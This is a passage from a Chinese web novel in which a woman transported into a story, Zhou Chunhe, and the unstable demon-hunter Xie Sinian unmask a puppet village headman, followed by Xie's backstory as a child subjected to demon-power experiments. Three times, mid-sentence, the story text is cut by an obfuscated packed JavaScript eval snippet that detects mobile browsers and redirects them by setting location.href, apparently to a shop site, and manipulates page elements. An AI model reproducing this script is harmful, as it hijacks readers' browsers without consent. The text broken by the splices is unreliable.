傅怀玉微微点头,朝她露出一个安抚的笑,便安静的守在了壁影前。 周春和心里一阵舒坦。心里对傅怀玉的好感又升高了几分。 这傅公子可真是个好人,说话办事永远这么的叫人舒心。不像某个人…… 周春和心里一舒服,就忍不住想唱山歌。但是走着走着察觉到不对劲,周围的温度怎么好像忽然降低了很多……? 她嘟囔着一抬头,对上了谢斯年似笑非笑的眼神。 周春和被那眼神看的没忍住打了个冷颤,刚想问怎么了,谁知道谢斯年已经转过身,快步往前走了。 周春和大惊失色,她现在菜的要命,对捉妖一应的事情还不甚了解,现在只能牢牢抱住谢斯年这个大腿,否则她一个人在这里很有可能出危险。 可是现在这个大腿隐隐有种不想被她抱的趋势,周春和自然是吓得要命。 她快步跟紧谢斯年,一抬头就是一张笑脸,语气却是小心翼翼的试探:“阿姐叫你保护我,你不会不听阿姐的话吧?” 谢斯年斜睨她一眼,冷笑道:“原来周小姐还缺人保护么?我看周小姐身边这么多人,还以为你根本不需要保护呢。” 瞧瞧瞧,又来阴阳怪气。周春和也不明白他在阴阳怪气些什么,但是现在人为刀俎我为鱼肉,她不得不窝囊的放缓声音问:“谢斯年,你是不是在生气啊?” 谢斯年嘲讽似的表情僵了僵,一时间竟是愣住了。 在他人生这十几年里,从来没有人这样直白的问过他是不是生气了。 他太会隐藏自己的情绪了,不熟的人看不出来,太熟的人又根本不会在意……他低下头,少女还睁着一双求知若渴的眼睛看着他,似乎在催促他赶快回答。 谢斯年几乎是下意识的否认:“我没有……” 周春和像是早就猜到了谢斯年会这么回答,脱口而出打断了他:“别胡说八道了,每次你生气的时候,都会下意识的拽玉佩的带子,刚刚我又看见你偷偷拽玉佩的带子了……说吧,到底是为什么生气。嗯?” 8. 与君初相识 少女的话毫不经心,就像是随口说出来了一件最普通的事情。 可是她不知道这话在少年的心里掀起了滔天巨浪。 为什么生气? 谢斯年抿了抿嘴,感觉到自己已经能控制脸上的表情,这才故作平常的开了口:“没生气,不过是觉得你有些拖后腿罢了。” 躺着也中枪的周春和:“……” 她知道这腹黑病娇是在姐姐那儿被伤了心,还想着好心好意的安慰他一两句,谁知道他竟然这么不识好歹。 呸,死病娇,以后再也不安慰你了。 这时候,谢斯年又斜睨她一眼,语气似乎又有些阴阳怪气:“不过也没关系,毕竟你的‘裴哥哥’可以保护。不过现在你的裴哥哥被困住了,你……”顿了顿,又一脸阴翳的笑起来,“啊,怎么忘了还有傅怀玉了,你与他认识不过半个时辰,竟能互相直接叫名字……我倒是有些好奇,周小姐这短短半个时辰的功夫到底能和多少人交上好朋友。” “好朋友”三个字被谢斯年刻意加重,听起来有些咬牙切齿的意味。 周春和一脸懵,心说这人真是有病,明明自己让他也叫自己的名字了,他自己不叫也就算了,也不允许别人叫了?这也太丧心病狂了吧? 难道腹黑病娇都是这样扭曲不讲理的性格吗? 周春和不服气道:“我明明也让你叫了啊,但你不是还一口一个‘周小姐’么?你爱叫什么便叫什么吧,又管别人干嘛。” 谢斯年安静了一会儿,声音是刻意掩饰过的平静:“你叫裴瑾便是裴哥哥,到我这里就是谢斯年,既然你觉得裴瑾好,为何刚刚不跟着他一起进去?” 周春和了然,原来还是女主和裴瑾一起进去把他抛下,让谢斯年心里不爽了。 不过谢斯年不爽归不爽,朝她发什么火呀。 周春和道:“我和裴哥哥不熟,自然不好直接唤人家名字。更何况他把我当作妹妹,我叫他一声哥哥怎么了?”上下打量谢斯年一年,“难不成你也想让我叫你哥哥?不是我说,你也太能占别人便宜了吧……” 不知道为什么,谢斯年的脸色又缓和下来。 他忽然道:“好了,别说了,走吧。” 正准备长篇大论的周春和:“……?” 不是,挑起争端的是你,现在不说的又是你,哥们你表演型人格吧。 不过周春和打不过谢斯年,只能忍气吞声,窝窝囊囊的跟着谢斯年一起往前走。 就发现谢斯年的目的地竟然是宅子之外。 周春和对这一部分的剧情忘得差不多了,只知道找到阵眼的是谢斯年,因为这一段没有和女主的互动,所以她也懒得细看,现在根本不记得阵眼到底是个什么东西了。 不过凭着她仅有的一点知识,有些奇怪的提出质疑:“咱们是要出去么?可是寓煞的阵眼不应该在房子里面么?” 谢斯年回头看了她一眼,似乎觉得很有趣:“没想到周小姐看着不学无术,实际上还是懂点东西的。” 周春和不耻上问:“我知道的多了去了,只是‘才’不外露而已。你到底发现了什么?为什么我们要一路出来?” 谢斯年觉得无趣,也就不再开玩笑,将内情告诉了周春和:“刚刚村长在家里时,你可有发现什么异常?” 村长?周春和挠了挠脑袋,一时有些迷糊。这和那村长又有什么关系? 谢斯年接着道:“我问那老头平时靠什么为生,他说靠种地和编制竹筐,可我观察过他的手指,光洁细腻,不是长期劳作之人的手。再仔细观察便能发现……”他笑了一下,似乎觉得此事十分有趣,“那指尖像是陶瓷做的,不仅细腻,甚至连指纹也没有。” 周春和悚然一惊,关于这段剧情的模糊记忆隐约又浮现上来的趋势:“你是说那村长不对劲?” 谢斯年点点头:“去了一探究竟便知。” 周春和来的时候特地记着路线,但毕竟现在身边有人带路,她便也不再注意方向,只是小心翼翼地跟紧谢斯年往前走。 可是走着走着,周春和察觉出一丝不对劲来——来的时候他们只用了不到一刻钟,可是现在已经走了这么久了,为什么谢斯年还没有停下的意思? 她正要开口问,就看见谢斯年停了下来。 下一秒,周春和眼前一花,感觉到一股力量将自己带进了一旁的空草屋里。 门吱呀一声被关上了,小屋中陷入了一片昏暗。只有几缕惨淡的阳光透过缝隙照进来,让周春和看清了眼前谢斯年的脸。 少年脸上的笑容早已消失殆尽,看着她的目光里只剩下无尽的漠然。 周春和被吓了一大跳,心脏不可遏制的快速跳动起来。 怎么回事?难道谢斯年发现了什么? 她脑子里全是系统那句死亡则意味着任务失败,对上谢斯年意味不明的视线,她一时间紧张到了极点。 从刚刚那件小事就能看出这少年观察力惊人,这短短半天的功夫,他不会发现什么了吧? 谢斯年把人逼到退无可退的角落,然后慢慢压下身子。 两个人离得极近,几乎是鼻尖挨着鼻尖。周春和心如捣鼓,脑子里疯狂的呼唤系统,可是平常没事就出来骚扰她一下的系统现在像是死机了一样一点回音没有。 死系统,之前还大言不惭说要保护她,结果出事的时候跑的比谁都快。 谢斯年动了动,周春和的眼睛立刻睁的溜圆,就见谢斯年抬起右手,轻轻碰了碰她的脸颊。 他一只手捉住周春和的两只手腕,以一种不可阻止之势往上拉到墙上按住,另一只手摩挲着周春和的下巴尖,他仍然带着笑,可是深不见底的眼眸中是不知何时弥漫上来的杀意:“周小姐很紧张?” 周春和确实紧张,双手被牢牢按住,周春和根本挣脱不得,只能任由谢斯年动作。可她也不知道究竟是哪一点惹恼了这个少年,才让他如此突然的朝她发难。 怪不得刚刚谢斯年要把她带出来。现在周夏莲和裴瑾被困在壁影里面,傅怀玉又不在身边,若是到时候她出了什么事,全凭谢斯年三言两语就能糊弄过去,周夏莲他们想找也找不到……周春和闭了闭眼。小说中并没有这一段,谢斯年难不成是发现了什么? 周春和尽量让自己看起来还算是平静:“你这是要干什么?” 谢斯年一双黑沉沉的眸子紧盯着她,像是想看穿她所有的秘密。片刻后,少年粲然一笑,指尖轻柔的抚上周春和的脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576614|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈:“没什么,有几个问题有些不解,想问问周小姐。” 周春和心都快提到了嗓子眼,迅速在脑海里回忆了一下自己今日的所作所为,实在是想不出来自己究竟有哪里做的不对,才让谢斯年忽然过来兴师问罪。 周春和颤颤巍巍的说:“你问吧。” 颇有一种要上断头台的凛然大义感。 谢斯年眼底一片凌冽,眉头微微蹙起,眼神带着难以掩饰的杀意,随后立刻被笑意替代:“今日刚刚遇见傅怀玉时,你为何看起来毫不紧张,过后又主动提出与他一同一起?你似乎很了解他……是以才丝毫不担心,并且能毫无芥蒂的与他拉近关系。否则我是在想不出你为何能做到如此信任一个刚认识不久的人。” 周春和咽了口唾沫,完全没想到谢斯年竟然心细如发,连这么一点微不足道的地方都考虑到了。 周春和眼睛转了一圈,干巴巴的笑了一声:“哈哈……你说这个呀……我信任他,自然是因为他看着和蔼,不像是那种凶神恶煞之人……这是我第一次出远门,之前不在阿娘阿姐身边,也从未有人教我如何辨别好人坏人……而且,有阿姐,裴哥哥和你在我身边,那人若是坏人也有你们保护,所以我才不害怕……” 这番话解释的磕磕巴巴的,但谢斯年的表情逐渐缓和下来。 但他依然没放松桎梏,指尖一路向上,摩挲着周春和细腻的脸颊,又换了一种似笑非笑的表情继续问:“那今日我说阵眼不在那壁影之内时,你为何也如此轻易的相信了?” 连姐姐都不相信,她为何会如此轻易的就信了自己? 周春和心里一阵无语,怎么,被人相信难道不好么? 不过到了这个时候她自然也不敢呛回去,小心思转啊转啊转,小心翼翼地解释道:“你和阿姐在我心中都是亲人般的存在,况且你又一向聪明,我不信你信谁呀?” 谢斯年盯着她看了一会儿,放开了束缚着周春和的手,似笑非笑道:“这么看来,倒是我错怪你了?” 但言语间丝毫没有愧疚的意思。 周春和觉得自己能从这个喜怒无常、手段狠厉、睚眦必报的男人手里捡回一条小命就不错了,自然不敢再多说什么:“哈哈……我知道你这是担心我,怕我被人骗了……” 说完之后,周春和都佩服自己这张嘴,果真是性命攸关之下能把黑的说成白的,坏的说成好的。 谢斯年笑眯眯的拍了拍她的肩膀,又恢复了往常那种天真无辜的模样,看起来青春洋溢,丝毫看不出刚刚暴雨欲来风满楼的压迫感:“周小姐能明白真是最好不过了。一会儿若是姐姐问起来……” 这就是在点她了,周春和非常狗腿的抢先回答:“我保证不会说出去……刚刚,刚刚就是谢公子关心了我一下,除此之外什么都没有发生!” 谢斯年满意的点点头,撤出两步,离开了周春和。 谢斯年带来的压抑感觉这才完全散去。周春和腿一软,差点坐在地上。她偷摸拍了拍自己的胸口,心说还好还好,躲过一劫。 谢斯年已经打开了木门,外面天光大亮,倾泻进茅草屋中。 谢斯年回头叫她,周春和抬头一看,光与影中,正好看见了谢斯年不达眼底的笑颜。 9. 与君初相识 少年还是惯常穿着一身黑衣,领口有暗金色的纹路,周春和分辨不出那究竟是什么东西,但能看出是某种小兽。 谢斯年逆着光,微微侧头叫她跟上,马尾自然垂下来,在他身后一荡一荡的,少年感十足。 周春和这个无可救药的颜控又看呆了。 不过她好歹还记得刚刚谢斯年的“光荣事迹”,一时间不敢多看,连忙快步跟上了。 两个人沿路往前走了一阵,周春和才后知后觉感觉到了不对劲。 这一路走来太安静了些,不仅见不着人,甚至连一点声音都听不见。而且不止是听不见人的声音,甚至连鸡鸭鸟雀的声音也一概不见。 这实在是有些怪异,不像是一个正常村子会有的景象。 那村长虽说村子里面很多人都离开了,但剩下的那几十户人也不该这么安静才是。 而且更诡异的是仅剩的几户人家也都大门紧闭,外头上着锁,像是没人住过,且一点声音也没有传出来……这实在是安静的有些不像话了。 事出反常必有妖,周春和心里有些没底,忍不住下意识的往谢斯年身边靠。 最后周春和几乎是贴着谢斯年走的,谢斯年自然也察觉到了身边多了一个小尾巴,微微一低头看向女孩,就见她一只手不知道什么时候偷偷扯上了他的腰带。 谢斯年一时觉得有些好笑,这女孩刚刚被吓成那个样子,可是这才过了多久,她便又这么没有防备心的凑了上来。 就好像是完全不害怕他。 这对他来说其实是个挺稀奇的事情,毕竟在被周知音收养之前,身边的人从没有不怕他的。 因为那个他深埋于心底没人知道的秘密,因为他是个……怪物。 除了这点之外,谢斯年心里还涌上了另一种说不清道不明的情绪。 从前在巫山谷时,他和周知音相处的时间其实并不多,因为周知音作为巫山谷的话事人,自然是每日忙的脚不沾地。所以准确来说,谢斯年见到周夏莲的次数远远多于其他任何人。 周夏莲虽然对他好,但他能感觉到其实周夏莲的好是带着怜悯的,是觉得他可怜,觉得他孤身一人,是对自己弟弟般的好。他在周夏莲心里的分量甚至有可能都比不过刚和她认识不久的裴瑾。 现在又来了一个周春和,周夏莲的心思立刻又被周春和分走了一半,谢斯年更加感觉到周夏莲的心装了太多人,已经分不出多少空间给他了。 不过这也没关系,即使周夏莲心里有很多人,即使他占不了太大的分量,但他依然将周夏莲放在首位。他依然愿意为了周夏莲扫平一切障碍。 这大概是因为周夏莲是他人生最灰暗的时候,唯一给予他光亮的人。 周夏莲虽然对他好,但从未想过依赖他,更别说能做到真真正正把后背交付给他了。在她眼里,或许谢斯年和她任何一个关系还不错的朋友没有任何区别。 但眼前这个女孩好像不一样。 至少她表现出来的和其他人不一样。 她能因为一句话完全信任他,也愿意在被恐吓之后依然依赖他。 这是一种很新鲜的感觉,是他之前从未体验过的感觉。 这样被人坚定信任的感觉。 大概是因为从来没有被坚定的选择过,所以谢斯年对这种求之不得的东西格外渴望。 周春和偷偷摸摸拽了一会谢斯年的腰带,见他一直没什么反应,于是视为他不在意。为了防止自己一会抓不牢,周春和又偷偷摸摸的将自己手帕的一端绑在了自己手腕上,另一端绑在了谢斯年的腰带上。 这下妥了。 周春和心道,这样一会出事就被想把她甩开了。 她得意洋洋的抬起头,对上了谢斯年深不见底的眸子。 ……光顾着妖怪了,怎么把最可怕的东西忘记了? 周春和默默的举起爪子,试探性的假笑了一声:“不会把你衣服扯掉让你走光的……你,你应该不介意吧?” 谢斯年转过头,没说话。 周春和松了口气,这应该就是不介意了。 两个人一路来到了村长家,村长家竟然也和街上那些人家一样大门紧闭,从外面听不见一点声音。 周春和和谢斯年对视一眼,两个人的眼底不知何时都有了戒备。 谢斯年走在前面,他人高腿长,走一步周春和得小碎步跑两下,偏偏两个人还系着手帕,周春和为了防止自己拖后腿,只能慌慌忙忙的跟上谢斯年。 谢斯年在门前停下,也没敲门,直接推开进去了。 就见村长直挺挺的站在院子中央,像是一截木头似的一动不动。 周春和从谢斯年背后探出一个头来,盯着那村长看了一会儿,见那村长还是一动不动,这才大着胆子往前走。 谢斯年的腰带被绑在了周春和手上,只能随着周春和的动作一起被扯着往前走。 周春和来到村长面前,这才发现村长连眼珠都不转了,整个人活脱脱就是一个木偶人。 她心里升起一种无比诡异的感觉,低头看村长的手,果不其然,那手指光滑细腻,别说不像是庄稼人的手了,甚至连姑娘家的手都不像,更像是陶瓷捏成的手。 周春和抬手在他面前挥了挥,以为他不会有什么反应,谁知刹那间村长的就有了动作,他以手做武器,忽然大力朝前捅了过去。 正对着他的周春和反应不及,下意识地闭上了眼睛,电光石火间却被一股力量带着迅速避开了村长的攻击范围。 周春和睁开眼睛一看,谢斯年已经一脸寒意的站在了她前面替她挡下了那致命一击。 村长像是一个木偶人被忽然注入了生命,眼神一下就鲜活起来,但与此同时,他身上那种浓重的杀意随着生命力一起爆发出来。 周春和悚然一惊,脑子里那些死去的微弱记忆隐隐又复苏的迹象—— 小说里写的阵眼好像确实是一个“人”。 这其实和原本的设定不太一样,因为按照小说里面的设定,寓煞的阵眼一般只在房子之中,而且不可能是在一个活物身上……虽然不知道以村长现在的状态还能不能算作是一个“活物”。 周春和绞尽脑汁的思索原文里对这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576615|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段到底是怎么解释的,还没想出个所以然来,一遍如临大敌的谢斯年已经先阴沉的开了口:“这寓煞竟然已经进化到如此高阶了么?真不知是吸食了多少猎妖人的灵力才到了这个地步。” 周春和觉得眼前一亮,被谢斯年的话提醒,终于想起来了这到底是怎么回事。 原来这寓煞和普通寓煞又不太一样,这个寓煞一开始吸取天地邪恶灵力,竟然逐渐生出了灵智。不过光吸取自然的灵力已经满足不了它,于是它设计吸引村中之人踏入宅子,再一个个把他们吞噬。 用这个法子果然让它的法力大大提升,但村中之人很快被全部杀掉,寓煞想要更多的人,尤其是猎妖人,便捏出几个灌入凶煞之力的人偶来混淆视听,吸引猎妖人过来。 等猎妖人踏入陷阱,它便一个个将他们全部杀掉。 之前那些猎妖人看不透寓煞的真面目,更不会想到阵眼会在一个“人”身上,所以都稀里糊涂死在了它的手中。可是这次主角团显然和普通猎妖人不同,尤其是男女主,即使是掉在了壁影里面也不一定能被寓煞占得了便宜,反而很有可能是寓煞自己被大伤元气。 而现在的寓煞已经和一般猎妖人无二,它不仅能设下陷阱,甚至还能将自己的阵眼随意移动到房子之外的地方。 这村长就是它为自己的阵眼捏出来的木偶人。 虽然寓煞可以依照村长原本的模样捏出一个和他相差无几的木偶人,但是像手指脚趾这种太过于细节的地方它便无可奈何,这才叫谢斯年注意到了端倪。 寻常人是绝对不可能想到阵眼会在房子之外的地方,更不可能想到会在一个“活人”身上,如果不是谢斯年观察实在是细致入微,那主角团怕是要再折腾几天才能顺利出去。 想完这段情节,周春和心里有了底。 那么眼下只要杀掉这个“村长”便万事大吉了。 可是这村长也并不是那么容易斩杀。既然寓煞已经到了高阶,那么普通猎妖人在它面前怕是也要逊色一二,如果是有特殊法宝的男女主在这里或许可以,但谢斯年…… 周春和看了一眼谢斯年,心里一时有些忐忑。 她不是忐忑谢斯年能否杀掉这村长,而是忐忑谢斯年会用什么方式杀。 按照小说的描写,他们这三个配角的下场都不太好。 她自己作为最后一个反派boss被男女主携手斩杀于利刃之下,而谢斯年和傅怀玉都没好到哪里去。一个死于自身所不能承受的妖力,一个为保护女主而死……周春和现在想到描写他们死亡的场景依然还唏嘘不已。 这样惊才绝艳的两个少年,便这么草率的走向了属于他们的大结局。 死于妖力的是谢斯年,至于他一个猎妖人为什么会有妖力,这件事可就说来话长了。 在被周知音收养到巫山谷之前的那十二年里,谢斯年的经历只能说的听者伤心闻者落泪。 他过得一点也不好,也这就是在周春和看来,为什么他会养成现在这副性子。 在他前十二年的人生里,有七年的时间被当成了一件可有可无的实验品。 10. 与君初相识 在谢斯年四岁的时候,家里遇到旱灾,成片成片的庄稼旱死在地里,村里的人难以维持生计,几乎全都离开村子去外面寻求活路。 除了谢斯年之外,他家里还有两个刚出生不久的弟弟,一家五口人在这样的艰难世道里实在是难以生存,于是谢斯年的父母在逃难的那一日抛下了谢斯年,只带着他的两个弟弟离开了。 等谢斯年在家中醒来时,家里值钱的东西被一扫而空,只剩下空荡荡的破败屋子,甚至连他身上盖的被子都被拿走了。 家里一点点食物都没有,谢斯年的父母甚至不曾给他留下最后一顿饭。 这是谢斯年第一次被人抛弃。 那时的谢斯年还只是个孩子,连大人都没办法在这种环境之下养活自己,更别说是一个孩子了。所以那段日子他过的无比艰难,树皮、草根,所有能果腹的东西他都试了,可是最后依然日渐消瘦下去。 就这样过了一年,这一年里,谢斯年经历了饥饿、病痛、衣不蔽体,经历了被人欺骗,经历了被其他人仗着自己身强体壮从他手里抢食物,还经历了殴打,猜疑和无数的谩骂。 这时候的谢斯年已经奄奄一息,不需要别人再做什么,他自己便已经很难再活下去。 可是事情很快就出现了转机。 在他五岁的时候,一个一直戴着面具的人找到了他,面具人不仅不嫌弃他,而且还给他食物和水,给他在父母哪儿从未得到过的关心和善意。 于是谢斯年心里的阴翳被阳光驱散了,他被抛弃了太久,所以只需要一点微不足道的暖意就可以轻易的融化他故作坚强的坚冰。 他毫无防备的跟着面具人一起离开,这时候的他不会想到自己将要从一个深渊踏入另一个深渊。 面具人将他带到一所大宅子里面,他给谢斯年换了新衣服,还帮他收拾了崭新的被褥。但除了第一天之外,从那以后谢斯年再也没见过这个面具人。 取而代之的,是一个凶神恶煞的老头和每天的谩骂和殴打。 那时候的谢斯年不明白这是怎么一回事,可是看书的周春和却知道,谢斯年这是被骗去当了“实验品”。 书中描写那面具人装出慈祥的模样到处诱拐那些无家可归的小孩,拿他们来做实验,每日强行给他们灌注从妖怪身上抽出来的妖力……这个过程是难以想象的痛苦,更是身体和心里上的双重折磨。因为一旦被灌注妖力,那么下场只有两个,一是承受不住凶猛的妖力爆体而亡,二是……融合妖怪的妖力,最终成为一个不人不鬼的怪物。 面具人做这些,只是想实验如果才能“不劳而获”,将妖怪身上的妖力顺利过渡到人的身上,可以直接为人所用。 这种事情自然不会轻易成功,否则这个世界早就被打乱了。和谢斯年一起的一共有三十几个小孩,最后只剩下了谢斯年自己。 谢斯年亲眼目睹了一个又一个他熟悉的面孔死在他面前,甚至就连那个对他很好的小男孩也倒在了他的脚边。 小男孩是自杀的,谢斯年还记得那天天光明媚,管事的说他们可以休息一天。谢斯年正为这来之不易的一天感到开心,雀跃的问小男孩想去哪里玩时,一转头发现小男孩嘴边流出血来。 他胸口还插着一柄小刀,这刀子谢斯年很熟悉,是他亲自磨好送给小男孩的,想让他有个东西防身。 可他不会想到这把刀子成了送走男孩的东西。 谢斯年还记得男孩倒在他怀里的时候,一双眼睛温柔的看着他,他和谢斯年道歉,说对不起啊,他说过要一直陪在谢斯年身边,可他真的受不了了。他做不到了,再这样下去,他真的会疯掉。与其被妖力逼死,不是自己提前一步自杀,也好不用再忍受那些煎熬。 这是谢斯年第二次被人抛下。 从那以后,身边的小伙伴一个接着一个死亡,只有谢斯年承受住了日复一日输送进他体内的,那无与伦比的妖力。 但他虽然天资极佳,也不就是说这些妖力对他没有一点影响。妖力原本就和人体相斥,更何况他作为猎妖人内力本就有灵力。 妖力和灵力在体内互相冲撞,稍稍失去平衡,那么就会引发异常暴乱。 他常常会失去控制,连自己都没办法好好控制自己,一旦过多的使用妖力,导致灵力妖力失衡,就仿佛会被妖怪同化,成为一个没有神智的怪物,只知杀戮,不知情感为何物。 这样的日子持续到他十二岁,在此之前,他一直是被当作培养皿,到十二岁的那日,面具人终于再次出现。但这次他是来拿自己的成果的。却没想到被找准时机的谢斯年冲破阻碍逃了出去。 此后谢斯年过了几个月的流亡日子,虽然面具人一直派人寻找,但谢斯年乔装打扮的技术太好,他们始终没再找到他。 再后来就是,谢斯年被周夏莲偶然间捡到,将人带去了巫山谷。 也就是在巫山谷里,谢斯年才真真正正感受到了来自他人存粹的善意。周夏莲和巫山谷压制住了他体内的暴戾,起码让他没有再失控过,表面上看起像是一个正常的少年。 谢斯年的故事一直让周春和唏嘘不已,但也让她忍不住感叹。 少年第一次被人温暖,肯定会一辈子牢牢记住。这种感情不论之后再怎么有人关心他对他释放善意,他肯定也不会轻易忘掉……这就让周春和的攻略之路难上加难了。 不过也没关系,周春和在心里安慰自己,毕竟她也不是只有这一个攻略对象,也不是非他不可。 相比之下傅怀玉看起来还是比他好攻略一点的嘛,实在不行她就去专注攻略傅怀玉算了。 周春和这些自暴自弃的想着,一抬头看见了谢斯年猩红的眼眶……等等!周春和心里一紧,谢斯年不会要暴走吧? 别啊别啊……他暴走了,那自己岂不是很容易被伤及无辜?? 不过好在看样子现在的谢斯年还能控制住自己,他拿出几张符,迅速在符纸上面画了几个符号,然后一甩手,符纸便如同一支支箭矢“嗖”的飞向木偶人。 周春和松了口气,还好还好,看样子谢斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576616|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年没打算用妖力。 就是嘛,他自己也知道自己的身份尴尬,若是被人知道他一个猎妖人体内竟然充斥着妖力,那么肯定又会掀起一场滔天巨浪。所以在此之前,他从未展露出这一面,只一直用符咒捉拿怪物。 他身体被灌注了太多妖力,这种蛮横的力量占据着他的身体,让他在修灵一事上很难再有突破。所以除非是他使用妖力,否则他的灵力止步不前,看起来就如同稍有天资的猎妖人那样只有微弱的猎妖天赋。 这也就是为什么巫山谷的众人都把他当作普通少年看待。 除了看过原文的周春和,没人知道这个看似青春无辜的少年背后有着多么暴烈的能量。 谢斯年写的符咒只能暂时拖住木偶人,并不能让它灰飞烟灭。这木偶人毕竟是高阶寓煞做出来的,自然不会如此轻易就被解决。 木偶人和谢斯年缠斗了一会,一时间竟然还分不出胜负。 周春和不仅咋舌,谢斯年仅用不擅长的灵力便可如此,若是一旦使用妖力,不知那力量将会是多么的可怖。 谢斯年的耐心很快告罄,他有些不耐烦的“啧”了一声,停住了手。 周春和悚然一惊,谢斯年难道要开大了? 现在看来谢斯年确实准备直接用暴力解决,毕竟他心系周夏莲,自然没耐心等下去。周春和想要阻止,因为书中描写的谢斯年就是死于无法控制的妖力,如果现在频繁的使用,只会导致他的加速死亡。但一时之间又不知道该怎么才能阻止……按照剧情的发展,现在她应该还不知道谢斯年身上有妖力这件事,如果她直接开口让谢斯年别用妖力,别说谢斯年肯定怀疑她,就连她自己都找不出合适的借口为自己解释。 可要是不说……要是不说的话,谢斯年会失控是一回事,最重要的是,现在她身边除了谢斯年之外空无一人,如果到时候谢斯年发起狂来,她很有可能被殃及池鱼。 周春和额头冒出大滴大滴的冷汗,正焦灼之时,却见谢斯年的动作忽然停住了。 周春和不明所以,抬头看去,才知道原来是自己绑住谢斯年的手帕轻轻拉了谢斯年一下,拉住了少年前进一步的动作。 小小的手帕其实并没有多么大的力量,以谢斯年的力量来说,只消轻轻一扯便可以扯开,可是他低头看着那枚手帕时,却无端有些发愣。 手帕的另一端绑住的是少女纤细的手腕,他顺着手帕望向了女孩的手腕,几乎是下意识的想到了女孩偷偷摸摸绑上这枚手帕的模样。 那时候的她会是怎样一种心情?谢斯年想象不到,但他知道起码她在那一刻,是真心想要依赖自己的。 如果现在谢斯年冲破束缚使用妖力……那这个女孩又要怎么办呢?他也明白自己很有可能失控,如果到时候伤到了周春和……就算是不伤到她,如果她看到了自己这绝对不能被外人看见的一幕,他又该如何自处? 杀掉她么?还是…… 即将临界的情绪在一瞬间被按下了暂停键,谢斯年像是一瞬间恢复了原样。 11. 与君初相识 周春和胆战心惊的看着谢斯年的脸色忽明忽暗,少年眸中像是在酝酿着滔天的风暴,短短片刻只剩下了凉薄和淡漠。 她不敢有太大的动作,偷偷摸摸戳了戳谢斯年的胳膊,咽了口唾沫,窝囊地问:“你……你怎么回事?……脸色不太对……” 谢斯年的表情一下子松懈下来,那笼罩着周春和的让人窒息的压迫感一下子烟消云散:“躲好了,一会不论发出什么声音都别出来。” 说着他解开了连接着两个人的手帕。 周春和大惊失色。 怎么回事???大腿怎么要自己跑了??? 我靠靠靠靠靠……饭可以乱吃命不能乱丢啊!!! 她慌乱之下也顾不得形象了,一下子扑到谢斯年腰上:“不不不别别别,别丢下我……别别别我我我吃苦耐劳我可以当牛做马……我还是很有用处的!!我以后再也不睡觉了我给你们守夜……不不不以后你们的觉让我来睡……以后你们的水都由我来接,我再也不喝水了水都留给你们……不我以后吐血给你们喝……” 少女怕到毫无形象,抱着他的腿死活不撒手。谢斯年低头看她,有那么一瞬间,嘴边的笑意掩都掩不住。 这是他第一次体会到如此强烈的,被需要的感觉。 如果说周夏莲是第一个让他觉得他很需要的人,那周春和就是第一个给他了那种被需要的感觉。 那些和他一样身份的猎妖人要么自视清高,要么像周夏莲一样把他当作弟弟,他们从来不会依靠他,毕竟没展露出妖力的他在大家眼里只是一个普通少年。 所以即使是他聪明有天资,但他也从未在人前展示过。 周春和和其他所有他认识的女孩子都不一样,虽然他从小到大除了周夏莲之外也没机会遇见几个女孩。 猎妖人嘛,大多数都比较好面子,很少会有人愿意主动低头求救,可是周春和好像完全不会这样。 她从不掩饰自己情绪,不管是求饶还是认错,永远都是还没反应过来她就已经开始滑跪了。 她似乎从不在意别人的评价,只要一件事情对她有利,那么她就会矢志不渝的做下去。如果一件事会伤害到她,那她也肯定会毫不客气的迅速抽离。 谢斯年扯下自己的玉佩递到张牙舞爪的少女手里,语气里难得带上了安抚的意味:“玉佩上有我的气息,人偶不会去攻击的。躲好了,我来解决它。” 愣愣的看着谢斯年又在自己身上贴了好几道符,周春和才理解了谢斯年的意思。 原来他不是要抛弃自己,而是自己去抗伤害让她坐收渔翁之利啊。 周春和大大的舒了口气,这下心也不跳了脸也不红了,一脸粲然笑意:“好,那你小心。” 说罢牢牢握住谢斯年的玉佩往后撤。 谢斯年正要提醒她赶紧离开,一转头发现周春和已经没影了。 几十米开外的一棵粗壮大树后面,少女远远的探出一个脑袋,又很快缩回去:“你加油,斯年勇敢飞,我们永相随!” 谢斯年:“……” 谢斯年和木偶人打的腥风血雨,周春和在树后面津津有味的嗑瓜子。 爽啊,爽! 这种有人冲锋陷阵而她只需要采菊东篱下悠然见南山的日子最好是能一直过下去。 谢斯年和木偶人打的难舍难分,木偶人被逼入绝境时发出的嘶哑声音不时传来,配合着谢斯年长剑砍人的闷声,倒是还挺和谐。 周春和满意的听着木偶人即将下线的动静,脸上一派安然,不住的点头表达赞许之色。给她一杯茶,她立刻就能装一个大B。 